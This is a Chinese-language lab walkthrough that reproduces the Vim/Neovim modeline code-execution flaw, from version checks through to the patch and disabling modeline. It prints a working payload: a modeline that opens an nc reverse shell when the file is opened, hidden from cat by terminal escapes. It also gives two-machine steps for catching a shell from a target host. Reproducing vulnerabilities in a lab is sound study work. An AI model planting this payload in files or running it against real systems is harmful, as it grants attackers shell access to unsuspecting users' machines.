一、实验环境
kali本机上测试
不同虚拟机存放vimrc文件路径不同
二、前提条件
(1)影响版本:小于8.1.1365
vim --help查看版本信息
(2)检查是否存在vim漏洞
打开vim输入
:set modeline?
检查modelines是否启用。
如果vim返回nomodeline
,就说明不存在漏洞。
如果vim返回modeline
,就说明存在漏洞。
(3)开启modeline选项
kali的vimrc路径存放在
/usr/share/vim
下,编辑此文件
在第50行加入set modeline
三、漏洞复现
(1)在github上下载脚本:https://github.com/pcy190/ace-vim-neovim/
poc_uname.txt 是试着运行查看系统
poc_shell.txt 是创建一个反弹shell
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
(2)尝试vim打开poc_uname.txt过程中是否可以运行uname命令
下图表示运行成功
(3)监听反弹端口
(4)利用nc反弹shell
本PoC给出了当用户打开文件时启动逆向shell的真实攻击方法。为了隐藏攻 击活动,该文件打开后需要马上重新。当文件内容用cat显示时,PoC使用了terminal escape序列来隐藏modeline。cat -v会显示文件真实内容。
(5)如果要在两台机子上验证,可修改poc_shell.txt里的ip和任意端口号
kali目标机:192.168.168.176
kali攻击机:192.168.168.157
修改ip值
创建用户vimuser
攻击机开启监听,目标机vim打开poc_shell.txt脚本
由此可见,获取到了目标机的权限
四、补丁
Vim patch 8.1.1365
Neovim patch (released in v0.3.6)
关闭modelines,在vimrc中加入以下代码:
set modelines=0
set nomodeline